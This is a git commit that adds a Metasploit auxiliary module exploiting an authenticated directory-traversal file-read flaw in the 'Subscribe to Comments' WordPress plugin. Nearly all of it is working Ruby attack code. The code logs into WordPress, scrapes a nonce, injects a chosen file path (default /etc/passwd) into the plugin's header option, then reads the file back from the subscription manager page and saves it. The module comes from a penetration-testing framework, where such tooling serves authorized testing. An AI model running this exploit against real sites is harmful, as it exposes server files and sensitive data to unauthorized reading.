Added WP Subscribe Comments File Read Vuln - Functional.

bug/bundler_fix
Roberto Soares 2015-08-02 21:24:52 -03:00
parent c88417c88e
commit 514849bcdc
1 changed files with 171 additions and 0 deletions

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::HTTP::Wordpress
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress Subscribe Comments File Read Vulnerability',
'Description' => %q{
This module exploits a authenticated directory traversal vulnerability
in WordPress Plugin "Subscribe to Comments" version 2.1.2, allowing
to read arbitrary files with the web server privileges.
},
'References' =>
[
['WPVDB', '8102']
],
'Author' =>
[
'Tom Adams <security[at]dxw.com>', # Vulnerability Discovery
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
],
'License' => MSF_LICENSE
))
register_options(
[
OptString.new('WP_USER', [true, 'A valid username', nil]),
OptString.new('WP_PASS', [true, 'Valid password for the provided username', nil]),
OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ])
], self.class)
end
def user
datastore['WP_USER']
end
def password
datastore['WP_PASS']
end
def check
check_plugin_version_from_readme('subscribe-to-comments', '2.3')
end
def get_nonce(cookie)
res = send_request_cgi(
'uri' => normalize_uri(wordpress_url_backend, 'options-general.php'),
'method' => 'GET',
'vars_get' => {
'page' => 'stc-options'
},
'cookie' => cookie
)
if res && res.redirect? && res.redirection
location = res.redirection
print_status("#{peer} - Following redirect to #{location}")
res = send_request_cgi(
'uri' => location,
'method' => 'GET',
'cookie' => cookie
)
end
if res && res.body && res.body =~ /id="_wpnonce" name="_wpnonce" value="([a-z0-9]+)" /
return Regexp.last_match[1]
end
nil
end
def down_file(cookie, nonce)
filename = datastore['FILEPATH']
filename = filename[1, filename.length] if filename =~ %r{/^///}
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(wordpress_url_backend, 'options-general.php'),
'vars_get' => {
'page' => 'stc-options'
},
'vars_post' => {
'sg_subscribe_settings[name]' => '',
'sg_subscribe_settings[email]' => '',
'sg_subscribe_settings[clear_both]' => 'clear_both',
'sg_subscribe_settings[not_subscribed_text]' => 'teste',
'sg_subscribe_settings[subscribed_text]' => 'teste',
'sg_subscribe_settings[author_text]' => '',
'sg_subscribe_settings[use_custom_style]' => 'use_custom_style',
'sg_subscribe_settings[header]' => "#{filename}",
'sg_subscribe_settings[sidebar]' => '',
'sg_subscribe_settings[footer]' => '',
'sg_subscribe_settings[before_manager]' => '',
'sg_subscribe_settings[after_manager]' => '',
'sg_subscribe_settings_submit' => 'Update Options',
'_wpnonce' => "#{nonce}",
'_wp_http_referer' => '/wp-admin/options-general.php?page=stc-options'
},
'cookie' => cookie
)
if res && res.code == 200 && res.body.include?("<p><strong>Options saved.</strong>")
return res.body
end
nil
end
def run_host(ip)
vprint_status("#{peer} - Trying to login as: #{user}")
cookie = wordpress_login(user, password)
if cookie.nil?
print_error("#{peer} - Unable to login as: #{user}")
return
end
vprint_status("#{peer} - Trying to get nonce...")
nonce = get_nonce(cookie)
if nonce.nil?
print_error("#{peer} - Can not get nonce after login")
return
end
vprint_status("#{peer} - Got nonce: #{nonce}")
vprint_status("#{peer} - Trying to download filepath.")
file_path = down_file(cookie, nonce)
if file_path.nil?
print_error("#{peer} - Error downloading filepath.")
return
end
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'vars_get' => {
'wp-subscription-manager' => '1'
},
'cookie' => cookie
)
if res && res.code == 200 &&
res.body.length > 830 &&
res.body.include?(">Find Subscriptions</") &&
res.headers['Content-Length'].to_i > 830
res_clean = res.body.gsub(/\t/, '').gsub(/\r\n/, '').gsub(/<.*$/, "")
vprint_line("\n#{res_clean}")
fname = datastore['FILEPATH']
path = store_loot(
'subscribecomments.traversal',
'text/plain',
ip,
res_clean,
fname
)
print_good("#{peer} - File saved in: #{path}")
else
print_error("#{peer} - Nothing was downloaded. You can try to change the FILEPATH.")
end
end
end